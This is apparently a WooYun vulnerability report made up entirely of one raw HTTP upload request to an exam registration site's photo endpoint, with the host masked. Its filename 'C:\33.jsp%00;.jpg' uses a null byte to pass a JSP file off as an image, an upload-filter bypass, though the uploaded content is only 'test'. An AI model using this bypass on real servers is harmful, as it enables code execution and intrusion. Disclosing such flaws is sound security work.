WooYun.org

POST /em/showPhotoAction.html HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://**.**.**.**/em/externalnetwork/personalInfoEntry.jsp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df28cd370272
UA-CPU: x86
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://**.**.**.**) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://**.**.**.**) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: **.**.**.**
Content-Length: 3107
Proxy-Connection: Keep-Alive
Cookie: JSESSIONID=00004oYofb5Lsffs8kcyAhq9c4f:17gckkoi8; bjh=84199690.30755.0000
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.identityType"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.idCard"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.name"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.culture"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="nImgName"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.certType"
0
-----------------------------7df28cd370272
Content-Disposition: form-data; name="radiobutton"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.cyzg"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.sex"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.birthday"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="useless"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.nation"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.polity"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.gradSchool"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.hopetime"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.email"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.post"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.phone"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.mobile"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.messageAddr"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="province1"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.domicile"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.xiangzhen"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="province"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="areaCodeChinese"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.areaCode"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="file"; filename="C:\33.jsp%00;.jpg"
Content-Type: image/pjpeg
test
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.password"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="passwordtwo"
-----------------------------7df28cd370272--